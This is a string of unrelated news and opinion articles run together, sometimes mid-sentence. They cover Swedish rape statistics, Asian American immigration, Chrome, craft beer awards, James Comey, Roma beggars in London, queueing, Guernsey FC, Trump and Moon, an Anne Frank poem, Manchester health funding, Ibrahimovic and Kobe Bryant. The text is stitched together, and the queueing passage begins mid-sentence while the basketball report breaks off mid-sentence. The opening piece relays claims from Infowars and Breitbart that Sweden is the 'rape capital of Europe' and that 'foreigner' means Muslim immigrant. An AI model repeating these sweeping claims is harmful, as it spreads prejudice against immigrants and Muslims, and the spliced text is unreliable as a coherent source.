"The Swedish men who rape do it despite the growing gender equality. They make an active choice. It's worse, Imo." Sorman tweeted, prior to deleting the Twitter account entirely.
When contacted by Sweden's Free Times, Sorman initially continued to defend the argument, however walked the argument back when pressed.
As Breitbart explains
When contacted by Sweden’s Free Times, Mrs. Sörman continued to defend this line of argument: “Take a picture of Sweden as an equal society, where all are nurtured in equality. Then you can say that if you are brought up in it, you make an active choice to not be equal, rather than if you are brought up in a society that is not equal”, she said. When pressed later, she backed tracked. She said the Tweets were “clumsily expressed”, adding: “I’m not saying it’s worse, of course not!”
The comments come at a time when 35 females were recently assaulted by "young men, who are foreigners" at a Swedish music festival in Karlstad. Adding even further relevance to the comments from an elected official, as we reported yesterday, a Swedish police report released last month said that, according to a survey carried out by the EU's rights agency, the country has the worst rates of sexual violence against women in all of Europe. As Infowars reports, Sweden is known as the rape capital of Europe due to immigrants being massively over represented in official rape statistics. Rapes in Sweden have skyrocketed by a stunning 1,472% from 1975 to 2014, when there were 421 and 6,620 sexual assaults respectively.
"77.6% of the country's rapists are identified as 'foreigners' (and that's significant because in Sweden, 'foreigner is generally synonymous with 'immigrant from Muslim country'). And even this likely understates the issue, since the Swedish government, in an effort to obscure the problem, records second-generation Muslim perpetrators simply as 'Swedes'." writes Selwyn Duke.
* * *
While it may be inconceivable that such comments are made, the comments actually align to how serious the country is about this horrific problem. Recall that Sweden's solution to Muslims attacking women was simply to have everyone wear a wristband that says "Don't Grope Me" on it.
This is yet another sad example of where we are as a society, and provides a little bit of insight as to why Sweden has the least amount of confidence in Donald Trump out of anyone in the world. Trump is inevitably entirely too politically incorrect for Sweden.Asian American immigrants outpace Latinos IMMIGRATION Group has highest incomes, is best-educated and happier
Lillian Lin (right) walks up Pacific Avenue with her daughter Monli Tan, 5, on their way to visit a relative on Monday, June 18, 2012 in San Francisco, Calif. Lillian Lin (right) walks up Pacific Avenue with her daughter Monli Tan, 5, on their way to visit a relative on Monday, June 18, 2012 in San Francisco, Calif. Photo: Lea Suzuki, The Chronicle Photo: Lea Suzuki, The Chronicle Image 1 of / 4 Caption Close Asian American immigrants outpace Latinos 1 / 4 Back to Gallery
As the presidential candidates battle over U.S.-Mexico immigration policy, a sweeping new survey shows that Asian Americans have overtaken Latinos nationally as the largest group of new immigrants arriving each year in the United States - a development with profound political and economic implications.
Not only are Asian Americans the fastest-growing racial group in the country, but they have the highest incomes, are the best-educated and are happier with their lot in life compared with other groups, according to "The Rise of Asian Americans," a comprehensive new Pew Research Center survey and report being released Tuesday.
"It is a reversal of fortune for Asian Americans," said David Lee, a longtime community organizer in San Francisco's Asian American neighborhoods who teaches political science at San Francisco State University.
"One hundred years ago, they were the poorest of the poor," Lee said. "Today, they are the best-paid, best-educated, most-in-demand workers in the country."
And in recent months, even though Asian Americans are slightly less than 6 percent of the U.S. population, they have become much-coveted voters. Both President Obama's re-election campaign and the California Republican Party have begun efforts to reach Asian American voters and encourage members of the community to run for elective office.
Politically, Asian Americans are more satisfied than most Americans with the nation's direction, generally approve of Obama's performance, lean Democratic and prefer bigger government than other Americans, the poll finds.
Socially, they place a higher value on marriage and parenthood. And while many don't like the "Tiger Mom" image of pushy, demanding Asian American parents, 62 percent think American parents are too soft on their kids.
Six largest groups
The Pew study is based on census data and surveys of 3,511 Asian Americans, including representative samples of the six largest Asian American country-of-origin groups - Chinese, Indian, Japanese, Korean, Filipino and Vietnamese - which comprise more than 80 percent of all Asian Americans.
Oh, and about that term "Asian American" - it is largely the province of articles and reports about "Asian Americans." Only 19 percent of those surveyed said they most often describe themselves as Asian American or Asian. Most (62 percent) describe themselves by their country of origin, like Chinese American or Vietnamese American.
Census data released several months ago show that Asian American growth had outpaced Latinos both nationally and in California. But Tuesday's Pew survey and report marries that information with one of the larger attitudinal studies of Asian Americans. In 2010, about 430,000 Asians - roughly 36 percent of all new immigrants - came to the United States, compared with about 370,000, or 31 percent, who were Latino.
Change at the border
Part of the shifting immigration picture comes from changes happening along the southern U.S. border.
A May study from the Pew Hispanic Center showed that "the net migration flow from Mexico to the United States has stopped and may have reversed" because of tighter border security, a rise in deportations and changing economic conditions on both sides of the border.
That combined with Tuesday's report shows "a kind of sea change in the immigration patterns," said Jeffrey Passel, a senior demographer with the Pew Hispanic Center.
Immigrants from Asian countries often come from different circumstances, analysts said. Many arrive in the United States with the help of work visas, so they are better educated and thus often have better-paying jobs. Pew found that 61 percent of adults between 25 and 64 years old who have come from Asia in recent years have at least a bachelor's degree. That's twice as high as non-Asian immigrants.
Financially, the median income for Asian American households was $66,000 in 2010 compared with $49,800 for the U.S. population, the report found. More than half (52 percent) of Asian Americans say they are in "excellent" or "good" financial shape - higher than the general population or Latinos.
However, despite some of the survey's top-line findings, not all Asians are prosperous and well-educated.
"Cambodians, Hmong, Laotians - are not generally doing as well," said Aarti Kohli, an immigration policy and law expert who was recently with the Warren Center at UC Berkeley's Boalt Hall School of Law. "We should be paying attention to the major gaps between people."
Family is important
Socially, Asian Americans place more importance on marriage and being a good parent than the rest of the general U.S. population.
Pew found that 67 percent of the Asian Americans surveyed said being a good parent was "one of the most important things in their lives." A 2010 Pew survey found only 50 percent of the general population ranked parenting that high.
Pew detected a similar gap on attitudes toward marriage: 54 percent of Asian Americans said maintaining a successful marriage was one of the most important things in life, while only 34 percent of the general public feels the same.
Politically, 50 percent identify with or lean Democratic, while 28 percent identify with or lean toward the Republicans. Vietnamese Americans were the only sub-demographic to tilt slightly Republican, the survey found.
Most Asian Americans say they would prefer a bigger government that provides more services to a smaller government that provides fewer services (55 percent compared with 36 percent). Opinion among the general public, runs the other way: 39 percent prefer a bigger government while 52 percent want it to be smaller.
The Pew survey results were based on telephone interviews conducted Jan. 3-March 27 with 3,511 Asian American adults. The survey has a margin of error of plus or minus 2.4 percentage points.Have you ever let the number of tabs in Google Chrome get out of hand? A nifty trick has popped up in Chrome Beta's tablet interface, now making it simple to deal with a large amount of tabs. Simply press and hold on the "X" you would normally use to close a single tab, and you will be prompted with a small dialogue that says "Close all tabs." Hit that and you have a clean slate.
I know that I tend to get overloaded with tabs from clicking on search results and in-app links, so this is a welcome addition for me. The function is not present on the stable builds of Chrome.
As for phones, which don't expose the tabbed UI in the same way, you can close all tabs using the overflow menu, so long as you don't enable Merged tabs and apps in Chrome settings. This feature for phones is available in the stable version of Chrome as well. See below:
You don't need an update for this feature, as the most recent update was posted on December 8 and should have reached all end users by now. The update to Chrome Beta version 40.0 included a new-look address bar and bookmarks manager as well.
Thanks Ramit SuriFacebook 91 Pinterest 0 Reddit 30 Twitter
Next year I hope to write this story from Denver on the floor of the Great American Beer Festival.
On Saturday the 2017 Great American Beer Festival (GABF) competition awarded 293 medals to some of the best commercial breweries in the United States, plus three GABF Pro-Am medals to teams of homebrewers paired with professionals. Presented by the Brewers Association (BA), GABF is the largest commercial beer competition in the world and the premier symbol of brewing excellence.
Winners were chosen out of 7,923 competition entries from 2,217 breweries in 50 states plus Washington, D.C. (a 15 percent and 24 percent increase respectively from the 7,301 entries and 1,783 breweries in 2016).
The competition took place in six sessions over a period of three days and was judged by 276 beer experts from 13 countries, including the U.S. In addition to commercial brewery entries, the judging panel also evaluated 118 Pro-Am entries.
Among the winners, St. Louis and Missouri breweries made their names known once again.
Gold Medal
Bull Creek Brown Ale Springfield Brewing Co. Springfield MO American-Style Brown Ale 2017
Silver Medal
Blended 2017 Side Project Brewing Maplewood MO Belgian-Style Lambic or Sour Ale 2017
Mamoot English Mild Logboat Brewing Co. Columbia MO English-Style Mild Ale 2017
Pumpkin Ale Schlafly Beer/The Saint Louis Brewery Saint Louis MO Pumpkin/Squash Beer or Pumpkin Spice Beer 2017
Maman 2017 Perennial Artisan Ales Saint Louis MO Wood- and Barrel-Aged Strong Stout 2017
Bronze Medal
Working Title Perennial Artisan Ales Saint Louis MO Belgian- and French-Style Ale 2017
Northtown Native Cinder Block Brewery North Kansas City MO Dortmunder or German-Style Oktoberfest 2017
Barrel Aged Barleywine Charleville Vineyard & Microbrewery Sainte Genevieve MO Wood- and Barrel-Aged Strong Beer 2017James Comey Has A Book Deal
Enlarge this image toggle caption Andrew Harnik/AP Andrew Harnik/AP
Former FBI Director James Comey's first book will be published next spring and feature "yet-unheard anecdotes from his long and distinguished career," according to publisher Flatiron Books.
Comey was suddenly fired by President Trump in May, setting off a political firestorm over why it happened and whether the decision was linked to the FBI's investigation into Russian meddling in the 2016 presidential election.
Last month, The New York Times reported that Comey was holding discussions with editors and publishers and that the book was preparing to go to auction. The Times added that "Mr. Comey was reluctant at first to entertain offers, but he later decided that he had something to say beyond a rehashing of his career highlights and low points, according to his agent."
Flatiron Books describes the work, which is not yet titled, as an exploration of "what good, ethical leadership looks like and how it drives sound decisions." It says it will draw on Comey's experience as FBI director, U.S. attorney for the Southern District of New York and the U.S. deputy attorney general during the George W. Bush administration.
The book will use "examples from some of the highest-stakes situations in the past two decades of American government," according to the publisher.
"Throughout his career, James Comey has had to face one difficult decision after another as he has served the leaders of our country," Flatiron Books publisher Bob Miller said. He promised the book will be an "unprecedented entry into the corridors of power, and a remarkable lesson in leadership itself."
Hillary Clinton has said she believes the letter Comey sent days before the election cost her the presidency. As NPR has reported, he was notifying Congress that the FBI was reopening the investigation about Clinton's handling of classified information.
It's worth noting that there are limits to what Comey can say in this book. As the Times reports, "Mr. Comey's book will go through the standard legal and governmental vetting to ensure that nothing classified is disclosed."
However, the newspaper also pointed out that Comey is "known to be an assiduous note-taker." That was evident in his statement to the Senate Intelligence Committee, in which he references his habit of writing detailed memos after interacting with Trump.
Also evident in that document: It could have been a dry statement to a government committee, yet it demonstrated a sense of storytelling and an eye for detail.For the past month, Viorica Sandhu and her daughter, Sonia, have lived in Park Lane in London’s Mayfair.
It is one of the world’s most expensive streets, and its residents typically live in multi-million-pound town houses, enjoy supper at the Dorchester hotel and shop for £250,000 supercars in the local showrooms.
Not the Sandhus. They and about 60 fellow Romanians, most of them women, lived in a squalid encampment on a patch of grass in the shadow of Marble Arch on Park Lane’s central reservation.
Eight days ago, the police moved in, and the Sandhus were moved out.
The Home Office bought them tickets, at taxpayers’ expense, for coaches and planes home.
Viorica, Sonia and 22 fellow Romanians, who had made a living begging in the street, took up the offer and promptly left Britain.
Their removal last Sunday evening was heralded as a great success. The Park Lane Roma had been blamed for a surge in petty crime and begging in London’s West End and “creating havoc”.
The clampdown by the authorities demonstrated that they would no longer tolerate immigrants “taking the Mickey”. The reality, The Telegraph can disclose, is somewhat different.
Last week, we tracked down almost half of the 24 Roma who had been removed from Park Lane at home, and we found that they plan to return to London as soon as possible because begging here is lucrative compared with what they can earn in Romania.
In effect, the Home Office has paid for them to go home for a brief holiday. What is more, the Government, hostage to the European Union’s laws on freedom of movement, is powerless to stop them coming back.
“I will definitely go back, no doubt about it. From there I can send money back to my children and we can actually make a living. Here we have no job, no car, no nothing,” explained Sonia Sandhu, 36, a mother of eight.
The next time, she is threatening to return with her children. The family live in near-abject poverty in Lisa, a village 90 miles from Bucharest.
Fifteen people live in their two-storey house. Children and dogs play in the street, and horses pulling carts trundle up and down.
The Sandhus arrived home on Tuesday after a three-day coach trip from London, having been given food and blankets for the journey.
Only a few days earlier, Viorica Sandhu, 70, had been photographed in Park Lane, dressed in a purple coat and looking miserable during the police raid |
end is hungriest. The sprightly youth at boarding gate 5 gets to sit down before the pensioner with an arthritic hip.
There is more genuine fairness in Mediterranean countries where people do not have the decency to queue but they do have the decency to not queue well. When buses arrive, for example, you don’t see groups of burly young men muscling their way to get on first. People generally give way to the weakest and frailest, irrespective of how long they have been waiting.
To think of queueing as morally superior is to confuse fairness with orderliness, a particularly British mistake
To think of queueing as morally superior is to confuse fairness with orderliness, a particularly British mistake. It is no coincidence that the golden age of queueing was when the class system was still rigidly in place. Queues offered reassuring images of egalitarianism when the reality was anything but. Rich and poor rarely had to queue for the same things. No one needed to pay for speedy boarding because hoi polloi didn’t even fly. While workers queued up at turnstiles to enter racetrack enclosures, the well-to-do would be greeted with a tip of that hat as they waltzed into the grandstand. The orderly queue to cash a giro at the Post Office was always longer than the one to deposit a cheque at the smart bank. Queues only equalise the people in them, they do nothing to address the inequalities that put people in different lines in the first place.
The rise of the brazen paid-for queue-jump is in part a manifestation of a wider democratisation and egalitarianism. It is only because so many of us now want the same desirable things that used to be for the few that demand is so high. What used to be organically rationed by class is now being allocated by cash.
First come, first served may be a better principle than highest-bidder-takes-all, but neither is ideal. When none are more deserving of a particular good than another, forming a queue is inefficient. It leads to frustrations such as spending hours watching a computer screen announcing how many hundreds of people are ahead of you in the ticket queue, as I did today, only to end up with nothing at the end of it. The most egalitarian way to manage demand is by ballot.
Nor is queueing the simple solution to the problem of money trumping need. When two people are in equal need of an operation, it is reasonable to treat the person who has waited longest first. But when one needs treatment much more than another, queue-jumping is not just morally acceptable, it’s desirable.
Queueing has always been much more a pragmatic means of keeping order than an ethical practice to promote fairness. It is not therefore the end of queueing that should disturb us but the money-talks culture that has replaced it.
• Julian Baggini is the author of Freedom Regained: The Possibility of Free WillA new club has started this season, playing in the Combined Counties League in front of four-figure crowds. Andy Ollerenshaw and David Bauckham found themselves on the mother of all away trips, to see Guernsey FC’s first ever league match.
Saturday 6th August 2011 is a date that will forever grace the history books and non-league football records. At the Garenne Stadium on Footes Lane in Guernsey, newly formed Guernsey FC played their inaugural competitive league match, the first time a team from the Channel Islands has played in the English football league pyramid. Guernsey’s opponents for their opening Combined Counties League Division One fixture were Knaphill. The match drew much attention from local press and even some national interest. The majority of the coverage, however, concentrated primarily on Guernsey’s historic day and their ‘comfortable’ 5-0 victory, but the story is more than that alone.
A Guernsey FA representative ‘national’ team has competed for the Muratti Vase, a tri-team competition alongside Alderney and Jersey, since 1905 and also enters the biennial Island Games. With little more than irregular knockout matches on offer, Guernsey Football Club was founded in 2011 to provide the island’s best footballers with an opportunity to play regular competitive football outside the Channel Islands. In November 2010 Guernsey first approached the Combined Counties League (CCL) with a proposal to join their Division One which operates at Step 6 in the pyramid. Guernsey’s logic for wanting to join the CCL – which has clubs based in Berkshire, Hampshire, London, Middlesex and Surrey – was that Gatwick Airport would provide a convenient travel hub for teams. In June 2011, with the Football Association backing the proposal, CCL clubs voted in favour of Guernsey joining their constitution. Alan Constable, CCL secretary, described the decision as “a very exciting development for the League. We were pioneers a little bit when we took on AFC Wimbledon and this is a similar situation with Guernsey, we can see the potential. This cannot be anything other than an exciting prospect.”
This sentiment has certainly been echoed by the people and businesses of Guernsey who have bought in completely to the idea of a Guernsey football club playing league football. Off the field Guernsey has the involvement of a famous footballing name; Matt Le Tissier is the club president and his brother, Mark, the secretary. The club has worked hard with the local community to ensure they have a raft of sponsors backing them, with Sportingbet providing the main financial injection. It is not going to be cheap for Guernsey; central to their proposal for CCL membership was that they will fund all travel costs for every club visiting the island, this on top of expenses incurred for their own away games. Visiting clubs are allowed to bring a party of twenty-two from the mainland; flights, one night’s hotel accommodation, transfers on the island and even car parking at the Hilton Hotel at Gatwick Airport, all paid for by Guernsey. Knaphill testified that the travel arrangements had been “exceptional” with Guernsey taking full control of all bookings. Mark Le Tissier told me “we’ve employed a professional travel agent; they do all the liaising with visiting clubs. What we [Guernsey FC] didn’t want to become was a travel agent”.
Guernsey’s first few fixtures were released early by the CCL to allow time for travel plans to be made and Knaphill were ‘chosen’ as the first opponents. Constable explained that Knaphill were in an ideal position to represent the League on this historic occasion, being a well run and well organised club with a sizeable committee. Knaphill are based on the outskirts of Woking in Surrey and I visited the smart and compact Redding Way, home of the Knappers, a few days prior to the CCL opener. Knaphill have an impressive set up and exude an air of professionalism in everything that they do, which is a credit to the hard work put in by the numerous volunteers at the club. Talking about the occasion, the Knaphill chairman Terry Chapman said “I’d like to think we were chosen for the fixture, I think we are a good advert for the League”.
Also refreshing was that the CCL took a pragmatic approach in compiling the fixture list to help mitigate any potential travel issues. All of Guernsey’s home league games are scheduled for a Saturday. Away teams will be given a choice of Friday or Saturday for their overnight stay on the island and the kick-off time can be altered accordingly. For clubs flying back on the Saturday, an earlier kick-off of 1pm can arranged; the more traditional 3pm start option is available for teams flying over Saturday morning and staying overnight after the game. The League will also allow a degree of flexibility for games to be called off early; with Guernsey’s’ renowned fog a potential factor, Constable stressed that “a bit of common sense” will be applied.
Before the game, Knaphill were understandably pleased to be involved in this red-letter game but equally keen to ensure that the welcome attention for the club didn’t adversely affect the players. Club secretary Bryan Freeman said “it’s great for the League and we are very pleased to be the first club to play them. We are effectively carrying the banner for the other CCL clubs”. But their press and communications officer, Nick Croshaw, although equally excited by the game, also stressed that their approach will be totally professional saying “this is just another game of football at the end of the day. This is not a jolly”. Knaphill have a proud history, in stark contrast to the embryonic Channel Islands’ outfit, and in talking to both Knaphill and Guernsey the difference in scale of operations was the thing that struck me most. For example, Knaphill’s record attendance is 134 and gates average around the 50 mark, normal for this division. The opening fixture at Footes Lane was watched by 1,475 fans. Guernsey has already sold 350 season tickets for 2011-12. As if to demonstrate the intense PR campaign promoting the new club, Guernsey printed an extra 17,000 programmes for their pre-season friendly with AFC Wimbledon to be given away free with The Guernsey Press. At most, Knaphill would print 75 programmes for a game. The venture is a huge commitment from Guernsey, something that simply would not be feasible without significant financial support from the Guernsey business community, a level of investment that other CCL clubs can only dream of.
Although Guernsey FC has significant financial backing, it does not mean any large sums of money will be spent on players. Their philosophy is to use only home grown talent with Le Tissier pointing out that “this is a community football club for the island of Guernsey, we’re being supported by the local football clubs, and it’s right that we only use people who are playing football in Guernsey at the present time”. On the evidence of the performance against Knaphill, it is an approach that could well work at this level, but one questions how sustainable this would be in years to come should Guernsey climb the pyramid.
As for the match itself, the hosts sprinted into a 5-0 half-time lead against a Knaphill team that many consider will be there or thereabouts come the end of the season, with a hat-trick from the impressive Ross Allen and a goal each for Glyn Dyer and Dominic Heaume. In the goalless second half, the home side allowed Knaphill back into the game but never looked like surrendering their considerable advantage. Guernsey finished the afternoon delighted with all three points, whereas Knaphill were left to feel somewhat embarrassed by the scoreline and the manner in which two goals were gifted to Guernsey with horrible defensive blunders.
The result for Guernsey and will afford ammunition to those who made pre-season predictions that Guernsey will comfortably win promotion from the league. But Colin Fallaize, Guernsey’s assistant head coach, was quick to stress after the game that “one hot day doesn’t make a summer. Knaphill are a very good side and we caught them on the hop” adding “we have been given a chance to learn, each and every game will be something new for us. There will be an awful lot of ups and downs this season in what will be a difficult league”. This is only the start of a long season, and playing league games, week in week out, will be an experience quite alien for Guernsey. The real test will come with mid-winter Tuesday night trips to the likes of Staines Lammas and Feltham in front of a handful of locals.
The last word should really go to Adie Wilson, joint first team manager at Knaphill. On the Tuesday prior to the game at Guernsey, he had quite prophetically stated “if the result doesn’t go our way, is that the end of our season? No, not at all. If I had to pick a game to lose, I’d rather lose the first game”. I’m sure that Guernsey and Knaphill won’t be far apart come the end of the campaign, but whatever happens in the months ahead, it is going to be very difficult to take your eyes off events in Division One of the Combined Counties League.
There are photos from Andy and David’s trip to Guernsey here.
You can follow Andy Ollerenshaw by clicking here, and you can follow David Bauckham by clicking here. Alternatively, you can follow Twohundredpercent on Twitter by clicking here.WASHINGTON (AP) — President Donald Trump said Friday the United States is renegotiating its trade deal with South Korea as he met the nation’s new leader for talks also addressing the nuclear weapons threat from North Korea.
Trump welcomed South Korean President Moon Jae-in for formal talks at the White House a day after they met over dinner. As well as concerns over North Korea’s technological progress toward a nuclear-tipped missile that could strike the continental U.S., Trump is pushing for a narrowing of the U.S. trade deficit with South Korea.
Since his 2016 election campaign, Trump has been critical of a 2012 bilateral free trade agreement and barriers to U.S. auto exports. South Korea had trade surplus of $17 billion with the U.S. last year when including both goods and services.
“We are renegotiating a trade deal right now as we speak with South Korea and hopefully it will be an equitable deal, it will be a fair deal for both parties,” Trump said alongside Moon in the Oval Office. “”We want something that will be very good for the American worker.”
Ahead of Moon’s visit, the White House official said Trump would call for the lifting of barriers to U.S. auto sales in South Korea and voice concern over steel exports from China that reach the U.S. via South Korea. South Korean companies on Thursday announced plans to import more American shale gas and build new factories in the U.S. that Seoul hoped could help fend off the criticism.
Moon said he and Trump had “honest discussions” at dinner on the North Korean nuclear issue and other issues of mutual interest.
“It was a great opportunity for us to further the trust and friendship between me and President Trump,” Moon said. “It was also an opportunity for us to reconfirm the fact that the United States and Korea are walking together on the same path towards a great alliance.”
After expanded talks involving other officials, the two leaders will make statements to reporters.
On North Korea, Trump said, “we have a very, very strong and solid plan.” On Thursday, the Treasury Department blacklisted a Chinese bank accused of conducting millions in illicit business with North Korea as Washington intensified pressure on Beijing to crackdown on its wayward ally.
The South Korean leader has sought to make clear to the U.S. that he is also serious about dealing with his neighbor’s threat, despite his inclination to restart dialogue with the North.
Moon’s conservative predecessor, who was impeached in a bribery scandal, took a hard line toward North Korea. In recent interviews, Moon has said sanctions alone cannot solve the problem of North Korea’s nuclear and missile programs, but the “right conditions” are needed for dialogue.
In another point of contention, Moon has delayed the full deployment of a U.S. missile defense system, which is intended to defend South Koreans and the 28,000 U.S. troops based in the country, pending an environmental review.
Before Friday’s talks at the White House, Moon laid a wreath at the Korean War Memorial monument near the Washington Mall. He was accompanied by Vice President Mike Pence, whose father served in the U.S. Army during the 1950-53 Korean War. Under the pale blue morning sky, they observed a moment of silence as a lone trumpeter played “Taps.”
It was the second occasion during Moon’s four-day visit that he has paid tribute to American veterans of that conflict. On Wednesday, he visited a memorial to Marines who fought in rearguard U.S. action in 1950 that enabled a mass evacuation of Korean civilians, including Moon’s parents.An eight-line poem written by Anne Frank, the Jewish schoolgirl whose diaries became one of the most profound documents of the Holocaust, was sold Wednesday at auction in the Netherlands for $148,000.
The BBC reports that the Bubb Kuyper auction house in the Dutch town of Haarlem expected it to fetch no more than €50,000 ($53,000).
Frank, a German-born Jew, kept intimate and detailed diaries during the two years her family hid in an attic apartment above her father’s shop in Amsterdam to evade the Nazis during the German occupation. They were eventually discovered and sent to concentration camps, where Frank died of typhus at the age of 15.
The auctioned poem was dated March 28, 1942, about four months before she and her family had gone into hiding.
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Addressed “Dear Cri-Cri,” the verse was penned in a poezie album (friendship book) belonging to Christiane van Maarsen, the sister of Frank’s best friend, Jacqueline. Such books were common among Dutch youths at the time.
The first four lines of the poem were appropriated from a Dutch periodical, the BBC says, and are believed to have been traditional and oft-cited lines of encouragement. The latter half appears to have been Frank’s original writing, according to a statement on the auction house web site.
Jacqueline, Frank’s best friend, explained in a note on the web site why she decided to part with the page.
“My sister (nicknamed Cricri) tore this page out of her poezie album and gave it to me around 1970,” read the note, which accompanied the sold item and is quoted on the auction house website.
“I know that my sister was not as attached to this verse from Anne to her as I am to the verse Anne addressed to me, and that is the reason that I am now putting it up for sale.”
The New York Times reports that the Anne Frank House museum, in the Amsterdam building where her family hid for two years, did not bid on the document because it did not directly shed light on Frank’s life. A spokeswoman for the museum, Maatje Mostart, remarked, however, that it was “very special that part of an Anne Frank collection comes out after so many years.”
[BBC]
Write to Feliz Solomon at feliz.solomon@time.com.Media playback is unsupported on your device Media caption University of Manchester's guide to how health spending will work
Greater Manchester has become the first English region to gain control of its health spending.
From 1 April, the £6bn health and social care budget will be managed by councils and health groups as part of an extension of devolved powers.
The Greater Manchester Strategic Partnership will now make decisions on how to target specific health issues.
Integrating health and social care services will ease the pressure on hospitals, said the government.
The new partnership, chaired by Lord Peter Smith, comprises 37 organisations including hospital trusts, NHS England, the 10 borough councils and GP commissioners.
How Greater Manchester is smashing the Whitehall model.
Image caption Lord Peter Smith is hoping improved healthcare will see more people return to work in Greater Manchester
Lord Smith, who is leader of Wigan Council, said: "The big vision is about people and getting people's health in Greater Manchester better.
"We spend £6bn on health and social care but life expectancy in Greater Manchester is not as good as it should be.
"Lots of people suffer from long-term illness and we've got great ambition to do something about their health.
"But it's wider than health we want to do something for the economy.
Media playback is unsupported on your device Media caption Mark Easton explains why Greater Manchester is "ditching the lanyards"
"A lot of people can't get into work because they have health problems, so if we can help them there will be more people getting back into work and we will have more wealth created in Manchester."
Politicians and NHS leaders in support of the move say it will enable them to reshape health and social care according to the needs of local people.
But it comes at a time of financial pressure as £2bn needs to be saved from the budget by 2020 due to cuts in government funding and increasing costs.
Image caption Dr Zahid Chauhan is concerned about losing £2bn from the budget
Dr Zahid Chauhan, a GP in Failsworth, Oldham, raised questions about how that money will be saved.
He said: "My concerns with all this funding deficit and loss of £2bn is that we might struggle to achieve it and who will be responsible for that?
"Will it mean less doctors, appointments and operations? I don't know, but those are the questions that need to be answered."
New health aims for Greater Manchester
Image copyright SPLAtlético Madrid are continuing their search for a striker to add to their options after serving their transfer ban - with Zlatan Ibrahimovic now in the frame.
The Court of Arbitration for Sport's rejection of Atlético's appeal against their two-window suspension means they cannot register signings this summer, complicating moves for targets such as Alexandre Lacazette and Diego Costa.
Atleti to snap up Zlatan and register him when fit, says Tuttosport
And, according to reports in Italy, the situation might just see Los Colchoneros turn to Swedish forward Ibrahimovic, who is currently out with a serious knee injury.
Tuttosport says 'Ibra' could join the Spanish capital club and complete his rehabilitation there, before being registered on his return to fitness.
Ibrahimovic in Tuttosport. Tuttosport
Ibrahimovic, who had a season in LaLiga with Barcelona in 2009/10, is expected to make his comeback in the New Year, coinciding with the lifting of Atleti's ban.
He spent last term at Manchester United, scoring 28 goals in 46 appearances, but is to be released by the Premier League club at the end of June.
Ibrahimovic salary, age the major hurdles to Atleti switch
The chief stumbling blocks to such a deal would be the player's high salary - which would be mitigated by his arrival on a free transfer - and his age.
However, Ibrahimovic's agent, Mino Raiola, has underlined his client's desire to remain in Europe, despite having big-money offers on the table from further afield.LOS ANGELES (AP) -- Two nights after a most annoying loss, Kobe
Bryant took out his anger and frustration on the poor Dallas
Mavericks.
Bryant was at his incredible best Tuesday night, scoring a
career-high 62 points in just three quarters to lead the Los
Angeles Lakers to a 112-90 victory over the Mavericks.
The 27-year-old Bryant, who brought a 31.3-point average into
the game, shot 18-of-31, including 4-of-10 from 3-point range, and
made 22 of 25 foul shots while playing only 33 minutes.
When he left the game, he had outscored the Mavericks by
himself, 62-61.
"I was so frustrated by the loss the other night I was going to
will us to victory," Bryant said, referring to a 76-74 loss to the
Houston Rockets. Bryant scored 24 points in that game -- a total he
matched in the first 16½ minutes against the Mavericks.
"I was very angry, I felt like I wanted to come out and send a
message, that we're going to dominate at home," he said. "We're
going to hit you, we're going to bring it to you. I wanted to send
that message."
Message received.
"We had no answer for him," Mavericks coach Avery Johnson
said. "We tried to double-team him, we tried to zone him, we tried
to trap him in the backcourt, and nothing worked. He had his way
with us tonight."
Bryant scored 15 points in the first quarter, 17 in the second,
and a franchise-record 30 in the third before taking a seat for
good with the Lakers leading 95-61.
"I just felt like I could continue to attack these guys,"
Bryant said. "It was just determination, take it to them. It's
definitely the best scoring game I've ever had."
The previous Lakers record for points in a quarter was 24 shared
by Bryant and Hall of Famers Jerry West and Elgin Baylor.
The NBA record for points in a quarter is 33 by George Gervin
for San Antonio in 1978. Denver's David Thompson scored 32 in a
quarter the same season, and Wilt Chamberlain scored 31 in a
quarter for Philadelphia in 1962, when he set the single-game NBA
record with 100 points.
Baylor scored a franchise-record 71 points on Nov. 15, 1960, at
New York. Bryant's total is the sixth-highest in club history and
the most for the Lakers since Chamberlain scored 66 at Phoenix on
Feb. 9, 1969.
The capacity crowd of 18,997 began chanting, "We want Kobe! We
want Kobe!" early in the final period, but with the Lakers holding
an insurmountable lead, there was no need for coach Phil Jackson to
put the 6-foot-6 star back into the game.
"We wanted to win the game, the game was in the bag, it was in
the refrigerator," Bryant said. "There was no reason for me to go
back in."
Bryant matched his previous career high of 56 points by making
two free throws with 1:02 left in the third quarter. He went on to
score six more points in the period, capping his amazing night by
making a long 3-pointer with 4.4 seconds left.
As the period ended -- after Los Angeles had outscored Dallas
42-17 -- Bryant held a hand to his ear, and the volume increased
even more. Bryant then called it a night.
"It's a great feeling, to do it here at Staples Center in front
of our fans -- kind of an early Christmas present to them," Bryant
said.
Bryant became the first NBA player to reach 60 points since
Philadelphia's Allen Iverson scored 60 in a 112-99 victory over
Orlando last February.
His total was the highest in Staples Center history, surpassing
the 61 points Shaquille O'Neal scored against the Clippers on March
6, 2000 -- O'Neal's 28th birthday.
"I've seen a few 60-point ballgames in my time, but none of
them had been done by the third quarter," said Jackson, who
coached Michael Jordan in Chicago. "His 30-point third quarter was
incredible."
Bryant reached the 50-point plateau for the sixth time in his
career, and the first since March 28, 2003, against Washington.
Cleveland's LeBron James had the previous single-game high this
season with 52 points on Dec. 10.
Nobody else scored in double figures for the Lakers (14-11), who
won for the eighth time in 10 games. The loss was just the second
in 10 games for the Mavericks (18-7). The other defeat was a
109-106 setback to the Lakers on Dec. 12 in Dallas, when Bryant
scored 43 points.
Dirk Nowitzki had 18 points and 11 rebounds to lead the
Mavericks. Like Bryant, he sat out the fourth quarter. Devin Harris
also scored 18 for Dallas before fouling out with 3:15 to play.
Johnson said before the game he would use "the whole team" to
guard Bryant, and several different Dallas players gave it a go
with very little success.
Johnson was ejected after being hit with two technical fouls
early in the third quarter.
Steve Javie called technicals on Johnson and Nowitzki with 10:16
left in the period after Nowitzki was inadvertently struck in the
face by Bryant, but was called for a foul.
Johnson picked up his second technical 2½ minutes later, leaving
with the Mavericks trailing 68-50. Bryant had 41 points at that
stage.
Bryant was 11-of-18 from the floor, including 2-of-4 from
3-point range, and 8-of-9 from the foul line for 32 points at
halftime. Lamar Odom was the Lakers' second-leading scorer at that
stage with six points.
Bryant had 15 points and five rebounds in the first nine minutes
to spark the Lakers to a 22-17 lead. It was 25-18 entering the
second period.
Game notes
Dallas guard Jerry Stackhouse hopes to play for the first
time this season Friday night in Seattle. He hasn't played because
of an injured right knee. "I'm just thankful the time has come for
me to be out there," said Stackhouse, averaging 20.4 points in his
10-year NBA career.... The Lakers are 8-5 on the road compared to
6-6 at home.... Dallas G Marquis Daniels returned to action after
missing two games because of a strained neck and had six points in
